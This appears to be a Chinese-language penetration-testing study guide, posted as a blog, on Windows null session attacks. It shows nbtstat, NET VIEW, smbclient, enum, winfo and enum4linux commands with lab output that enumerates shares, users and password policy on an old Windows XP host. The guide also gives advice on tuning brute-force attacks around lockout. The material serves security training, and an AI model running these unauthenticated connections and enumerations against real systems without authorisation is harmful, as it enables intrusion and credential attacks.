Null Sessions

Posted by r3kind1e on July 18, 2022

Null Sessions - Study Guide(空会话 - 学习指南)

这如何支持我的渗透测试生涯?

  • 了解历史漏洞
  • 可以在旧系统上找到空会话
  • 加深对 Windows 共享的理解

空会话攻击可用于枚举大量信息。 攻击者可以窃取以下信息:

  • 密码
  • 系统用户
  • 系统组
  • 运行系统进程

空会话可远程利用; 这意味着攻击者可以使用他们的计算机来攻击易受攻击的 Windows 计算机。 此外,这种攻击可用于调用远程 APIs 和远程程序调用。 由于这些因素,空会话攻击对 Windows 生态系统产生了巨大影响。 如今,Windows 已配置为免受此类攻击。 但是,旧版主机仍然容易受到攻击!

空会话攻击利用 Windows 管理共享的身份验证漏洞; 这使攻击者无需身份验证即可连接到本地或远程共享。 我们将通过使用各种技术和工具来枚举 Windows 共享及其利用。

Enumerating Windows Shares(枚举 Windows 共享)

枚举共享是利用易受空会话攻击的 Windows 计算机所需的第一步。 我们将了解如何使用一些 Windows 和 Linux 工具来执行此阶段。

NbtStat

在 Windows 中,枚举 Windows 共享时最常用的命令是 nbtstatnbtstat 是一个 Windows 命令行工具,可以显示有关目标的信息。

您可以通过传递 /? 参数来检查如何使用它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nbtstat /?

显示协议统计和当前使用 NBI 的 TCP/IP 连接
(在 TCP/IP 上的 NetBIOS)。

NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n]
        [-r] [-R] [-RR] [-s] [-S] [interval] ]

  -a   (适配器状态)    列出指定名称的远程机器的名称表
  -A   (适配器状态)    列出指定 IP 地址的远程机器的名称表。
  -c   (缓存)          列出远程[计算机]名称及其 IP 地址的 NBT 缓存
  -n   (名称)          列出本地 NetBIOS 名称。
  -r   (已解析)        列出通过广播和经由 WINS 解析的名称
  -R   (重新加载)      清除和重新加载远程缓存名称表
  -S   (会话)          列出具有目标 IP 地址的会话表
  -s   (会话)          列出将目标 IP 地址转换成计算机 NETBIOS 名称的会话表。
  -RR  (释放刷新)      将名称释放包发送到 WINS,然后启动刷新

  RemoteName   远程主机计算机名。
  IP address   用点分隔的十进制表示的 IP 地址。
  interval     重新显示选定的统计、每次显示之间暂停的间隔秒数。
               按 Ctrl+C 停止重新显示统计。

nbtstat 最常见的用法是nbtstat -A <IP>,它显示有关目标的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nbtstat -A 10.130.40.80

Local Area Connection:
Node Padres: [10.0.2.15] Scope Id: []

NetBIOS Remote Machine Name Table

Name                Type        Status
----------------------------------------------------
ELS-WINXP   <00>    UNIQUE      Registered
WORKGROUP   <00>    GROUP       Registered
ELS-WINXP   <20>    UNIQUE      Registered
WORKGROUP   <1E>    GROUP       Registered

MAC Address = 00-0C-29-BF-98-BD

我们来分析一下命令输出。

表格的第一行告诉我们,运行在 10.130.40.80 的机器的名称是“ELS-WINXP”。 记录类型 <00> 告诉我们 ELS-WINXP 是一个工作站。

UNIQUE”类型告诉我们,这台计算机必须只分配一个 IP 地址。

此行包含计算机加入的工作组或域。

这是表中最有趣的一行! <20> 类型记录告诉我们文件共享服务已在机器上启动并运行; 这意味着我们可以尝试获取更多有关它的信息。

NET VIEW

一旦攻击者知道机器正在运行文件服务器服务,他们就可以使用 NET VIEW 命令枚举共享。 您可以通过键入以下命令来使用该命令:

1
NET VIEW <target IP>

我们可以在上一个目标上使用它:

1
2
3
4
5
6
7
8
NET VIEW 10.130.40.80
Shared resources at 10.130.40.80

Share name      Type        Used as     Comment
------------------------------------------------------
eLS             Disk
WIA_RIS_SHARE   Disk
The command completed successfully.

这台机器正在共享一个目录; 共享名称是 eLS。

共享上的另一个目录是 WIA_RIS_SHARE。

Nmblookup

您还可以从 Linux 机器执行共享枚举。 您需要使用 Samba suite提供的工具。 Samba 工具已经安装在 Kali Linux 中,但您几乎可以在每个 Linux 发行版中安装它们。

要执行 nbtstat 的相同操作,您可以使用带有相同命令行开关的 nmblookup:

1
nmblookup -A <target ip address>

像往常一样,您可以使用手册或简要帮助来检查 nmblookup 的工作原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
└─# nmblookup --help
Usage: <NODE> ...
  -B, --broadcast=BROADCAST-ADDRESS         Specify address to use for broadcasts
  -f, --flags                               List the NMB flags returned
  -U, --unicast=STRING                      Specify address to use for unicast
  -M, --master-browser                      Search for a master browser
      --recursion                           Set recursion desired in package
  -S, --status                              Lookup node status as well
  -T, --translate                           Translate IP addresses into names
  -r, --root-port                           Use root port 137 (Win95 only replies to this)
  -A, --lookup-by-ip                        Do a node status on <name> as an IP Address

Help options:
  -?, --help                                Show this help message
      --usage                               Display brief usage message

Common Samba options:
  -d, --debuglevel=DEBUGLEVEL               Set debug level
      --debug-stdout                        Send debug output to standard output
  -s, --configfile=CONFIGFILE               Use alternative configuration file
      --option=name=value                   Set smb.conf option from command line
  -l, --log-basename=LOGFILEBASE            Basename for log/debug files
      --leak-report                         enable talloc leak reporting on exit
      --leak-report-full                    enable full talloc leak reporting on exit

Connection options:
  -R, --name-resolve=NAME-RESOLVE-ORDER     Use these name resolution services only
  -O, --socket-options=SOCKETOPTIONS        socket options to use
  -m, --max-protocol=MAXPROTOCOL            Set max protocol level
  -n, --netbiosname=NETBIOSNAME             Primary netbios name
      --netbios-scope=SCOPE                 Use this Netbios scope
  -W, --workgroup=WORKGROUP                 Set the workgroup name
      --realm=REALM                         Set the realm name

Version options:
  -V, --version                             Print version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
用法:<节点> ...
  -B, --broadcast=BROADCAST-ADDRESS 指定用于广播的地址
  -f, --flags 列出返回的 NMB 标志
  -U, --unicast=STRING 指定用于单播的地址
  -M, --master-browser 搜索主浏览器
      --recursion 在包中设置所需的递归
  -S, --status 也查找节点状态
  -T, --translate 将 IP 地址转换为名称
  -r, --root-port 使用root端口137(Win95只回复这个)
  -A, --lookup-by-ip 将 <name> 上的节点状态作为 IP 地址

帮助选项:
  -?, --help 显示此帮助信息
      --usage 显示简要使用信息

常见的 Samba 选项:
  -d, --debuglevel=DEBUGLEVEL 设置调试级别
      --debug-stdout 将调试输出发送到标准输出
  -s, --configfile=CONFIGFILE 使用替代配置文件
      --option=name=value 从命令行设置 smb.conf 选项
  -l, --log-basename=LOGFILEBASE 日志/调试文件的基本名称
      --leak-report 在退出时启用tal​​loc泄漏报告
      --leak-report-full 在退出时启用完整的talloc泄漏报告

连接选项:
  -R, --name-resolve=NAME-RESOLVE-ORDER 仅使用这些名称解析服务
  -O, --socket-options=SOCKETOPTIONS 要使用的套接字选项
  -m, --max-protocol=MAXPROTOCOL 设置最大协议级别
  -n, --netbiosname=NETBIOSNAME 主 netbios 名称
      --netbios-scope=SCOPE 使用这个 Netbios 范围
  -W, --workgroup=WORKGROUP 设置工作组名称
      --realm=REALM 设置领域名称

版本选项:
  -V, --version 打印版本

这是我们在同一台目标机器上运行 nmblookup 得到的结果。 我们得到相同的结果:

1
2
3
4
5
6
7
8
nmblookup -A 10.130.40.80
Looking up status of 10.130.40.80
    ELS-WINXP   <00>    -           M <ACTIVE>
    WORKGROUP   <00>    -   <GROUP> M <ACTIVE>
    ELS-WINXP   <20>    -           M <ACTIVE>
    WORKGROUP   <1e>    -   <GROUP> M <ACTIVE>

    MAC Address = 00-0c-29-BF-98-BD

Smbclient

Samba 套件还提供 smbclient,一个类似 FTP 的客户端来访问 Windows 共享; 除其他外,此工具可以枚举主机提供的共享:

1
2
3
4
5
6
7
8
9
10
smbclient -L //10.130.40.80 -N
Domain=[ELS-WINXP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]
Sharename       Type        Comment
---------       ----        -------
eLS             Disk
IPC$            IPC         Remote IPC
WIA_RIS_SHARE   Disk
ADMIN$          Disk        Remote Admin
C$              Disk        Default share
Domain=[ELS-WINXP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

前面的命令行使用以下选项:

  • -L 允许您查看目标上可用的服务
  • 使用 //<IP Address> 您必须在目标 IP 地址前添加两个斜杠
  • -N 强制工具不要求输入密码

现在让我们检查一下结果。

Smbclient 不仅可以检测到 NET VIEW 检测到的完全相同的共享…

1
2
3
4
5
6
7
8
9
10
smbclient -L //10.130.40.80 -N
Domain=[ELS-WINXP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]
Sharename       Type        Comment
---------       ----        --------
eLS             Disk
IPC$            IPC         Remote IPC
WIA_RIS_SHARE   Disk
ADMIN$          Disk        Remote Admin
C$              Disk        Default share
Domain=[ELS-WINXP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

…但它也显示使用 Windows 标准工具时隐藏的管理共享。

Checking for Null Sessions(检查空会话)

一旦我们检测到文件和打印机共享服务处于活动状态并且我们已经枚举了目标上的可用共享,就该检查是否可能进行空会话攻击。 为了验证这一点,我们将通过尝试在没有有效凭据的情况下连接到 IPC$ 管理共享来利用它。

Checking for Null Sessions with Windows(使用 Windows 检查空会话)

要连接,您必须在 Windows shell 中键入以下命令:

1
NET USE \\<target IP address>\IPC$ '' /u:''

这告诉 Windows 使用空密码和空用户名连接到 IPC$ 共享!

让我们在目标上尝试命令:

1
2
net use \\10.130.40.80\IPC$ '' /u:''
The command completed successfully.

前面的命令在没有指定用户的情况下建立到 IPC$ 管理共享的连接; 这是可能的,因为我们的目标主机容易受到空会话攻击。 此测试仅适用于 IPC$。 例如,它不适用于 C$

1
2
3
4
net use \\10.130.40.80\c$ '' /u:''
System error 5 has occurred.

Access is denied.

Checking for Null Sessions with Linux(使用 Linux 检查空会话)

您还可以使用 smbclient 执行相同的检查:

1
2
3
4
5
6
7
smbclient //10.130.40.80/IPC$ -N
Domain=[ELS-WINXP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]
smb: \> exit

smbclient //10.130.40.80/c$ -N
Domain=[ELS-WINXP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]
tree connect failed: NT_STATUS_ACCESS_DENIED

Exploiting Null Sessions(利用空会话)

可以使用 Windows NET 命令来利用空会话,但是有一些工具可以自动执行此任务。 在下面的幻灯片中,您将看到如何使用一些免费提供的 Windows 和 Linux 工具。

Exploiting Null Sessions with Enum(使用Enum利用空会话)

其中之一是 Enum,这是一个命令行实用程序,可以从易受空会话攻击的系统中检索信息。 您可以通过提取它并从 Windows 命令提示符运行它来安装它。

-S 参数允许您枚举机器的共享:

1
2
3
4
5
6
enum -S 10.130.40.80
Server: 10.130.40.80
setting up session... success.
enumerating shares (pass 1)... got 5 shares, 0 left:
    eLS IPC$ WIA_RIS_SHARE ADMIN$ C$
cleaning up... success.

请注意,它也列举了管理共享。

-U 枚举用户:

1
2
3
4
5
6
enum -U 10.130.40.80
server: 10.130.40.80
setting up session... success.
getting user list (pass 1, index 0)... success, got 5.
  Administrator eLS Guest HelpAssistant SUPPORT_388945a0
cleaning up... success.

这台机器有五个用户帐户。

如果需要挂载网络认证攻击,可以通过-P参数查看密码策略:

1
2
3
4
5
6
7
8
9
10
11
enum -P 10.130.40.80
server: 10.130.40.80
setting up session... success.
password policy:
  min length: none
  min age: none
  max age: 42 days
  lockout threshold: none
  lockout duration: 30 mins
  lockout reset: 30 mins
cleaning up... success.

在运行身份验证攻击之前检查密码策略可以让您微调攻击工具以:

  • 防止帐户锁定
  • 防止误报
  • 选择您的字典或暴力破解配置

了解密码的最小和最大长度有助于您在暴力破解密码时节省时间。

Exploiting Null Sessions with Winfo(使用 Winfo 利用空会话)

Winfo 是另一个命令行实用程序,可用于自动利用空会话。 要使用它,您只需指定目标 IP 地址并使用 -n 命令行开关告诉该工具使用空会话。

1
winfo 10.130.40.80 -n

您可以从 packetstorm 下载它。

Exploiting Null Sessions with Enum4linux(使用 Enum4linux 利用空会话)

渗透测试人员还可以通过使用 enum4linux 来利用空会话,这是一个 PERL 脚本,可以执行与 enum 和 Winfo 相同的操作。 它具有与原始enum工具相同的命令行选项; 此外,它还提供了一些其他功能。

默认情况下,它执行:

  • 用户枚举
  • 共享枚举
  • 组和成员枚举
  • 密码策略提取
  • 操作系统信息检测
  • nmblookup 运行
  • 打印机信息提取

您可以通过在命令行上调用 enum4linux 来检查它的选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
└─# enum4linux                       
enum4linux v0.9.1 (http://labs.portcullis.co.uk/application/enum4linux/)
Copyright (C) 2011 Mark Lowe (mrl@portcullis-security.com)

Simple wrapper around the tools in the samba package to provide similar 
functionality to enum.exe (formerly from www.bindview.com).  Some additional 
features such as RID cycling have also been added for convenience.

Usage: ./enum4linux.pl [options] ip

Options are (like "enum"):
    -U        get userlist
    -M        get machine list*
    -S        get sharelist
    -P        get password policy information
    -G        get group and member list
    -d        be detailed, applies to -U and -S
    -u user   specify username to use (default "")  
    -p pass   specify password to use (default "")   

The following options from enum.exe aren't implemented: -L, -N, -D, -f

Additional options:
    -a        Do all simple enumeration (-U -S -G -P -r -o -n -i).
              This option is enabled if you don't provide any other options.
    -h        Display this help message and exit
    -r        enumerate users via RID cycling
    -R range  RID ranges to enumerate (default: 500-550,1000-1050, implies -r)
    -K n      Keep searching RIDs until n consective RIDs don't correspond to
              a username.  Impies RID range ends at 999999. Useful 
              against DCs.
    -l        Get some (limited) info via LDAP 389/TCP (for DCs only)
    -s file   brute force guessing for share names
    -k user   User(s) that exists on remote system (default: administrator,guest,krbtgt,domain admins,root,bin,none)
              Used to get sid with "lookupsid known_username"
              Use commas to try several users: "-k admin,user1,user2"
    -o        Get OS information
    -i        Get printer information
    -w wrkg   Specify workgroup manually (usually found automatically)
    -n        Do an nmblookup (similar to nbtstat)
    -v        Verbose.  Shows full commands being run (net, rpcclient, etc.)
    -A        Aggressive. Do write checks on shares etc

RID cycling should extract a list of users from Windows (or Samba) hosts 
which have RestrictAnonymous set to 1 (Windows NT and 2000), or "Network 
access: Allow anonymous SID/Name translation" enabled (XP, 2003).

NB: Samba servers often seem to have RIDs in the range 3000-3050.

Dependancy info: You will need to have the samba package installed as this 
script is basically just a wrapper around rpcclient, net, nmblookup and 
smbclient.  Polenum from http://labs.portcullis.co.uk/application/polenum/ 
is required to get Password Policy info.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
└─# enum4linux
enum4linux v0.9.1 (http://labs.portcullis.co.uk/application/enum4linux/)
版权所有 (C) 2011 Mark Lowe (mrl@portcullis-security.com)

对 samba 包中工具的简单包装,以提供与 enum.exe(以前来自 www.bindview.com)类似的功能。为方便起见,还添加了一些附加功能,例如 RID 循环。

用法:./enum4linux.pl [选项] ip

选项是(如“枚举”):
    -U 获取用户列表
    -M 获取机器列表*
    -S 获取共享列表
    -P 获取密码策略信息
    -G 获取组和成员列表
    -d 详细一点,适用于 -U 和 -S
    -u 用户指定要使用的用户名(默认“”)
    -p pass 指定要使用的密码(默认“”)

未实现 enum.exe 中的以下选项:-L、-N、-D、-f

附加选项:
    -a 做所有简单的枚举(-U -S -G -P -r -o -n -i)。
              如果您不提供任何其他选项,则会启用此选项。
    -h 显示此帮助信息并退出
    -r 通过 RID 循环枚举用户
    -R range 要枚举的 RID 范围(默认值:500-550,1000-1050,暗示 -r)
    -K n 继续搜索 RID,直到 n 个连续的 RID 与用户名不对应。 Impies RID 范围结束于 999999。对 DC 有用。
    -l 通过 LDAP 389/TCP 获取一些(有限的)信息(仅适用于 DC)
    -s 文件暴力猜测共享名称
    -k user 远程系统上存在的用户(默认:administrator,guest,krbtgt,domain admins,root,bin,none) 用于通过“lookupsid known_username”获取 sid 使用逗号尝试多个用户:“-k admin ,用户1,用户2"
    -o 获取操作系统信息
    -i 获取打印机信息
    -w wrkg 手动指定工作组(通常自动找到)
    -n 执行 nmblookup(类似于 nbtstat)
    -v 详细。显示正在运行的完整命令(net、rpcclient 等)
    -A 激进的。在共享上写检查

RID 循环应该从将 RestrictAnonymous 设置为 1(Windows NT 和 2000)或启用“网络访问:允许匿名 SID/名称转换”(XP,2003)的 Windows(或 Samba)主机中提取用户列表。

注意:Samba 服务器的 RID 似乎通常在 3000-3050 范围内。

依赖信息:您需要安装 samba 包,因为该脚本基本上只是 rpcclient、net、nmblookup 和 smbclient 的包装器。需要从 http://labs.portcullis.co.uk/application/polenum/ 获取密码策略信息。

About Null Sessions(关于空会话)

空会话是 Windows 黑客攻击历史的一部分。 即使默认情况下它们在现代 Microsoft 操作系统中未启用,您有时也可以在企业网络上找到它们; 这是因为与旧系统和应用程序的复古兼容性。

References

Samba suite

Enum

Packetstorm/Winfo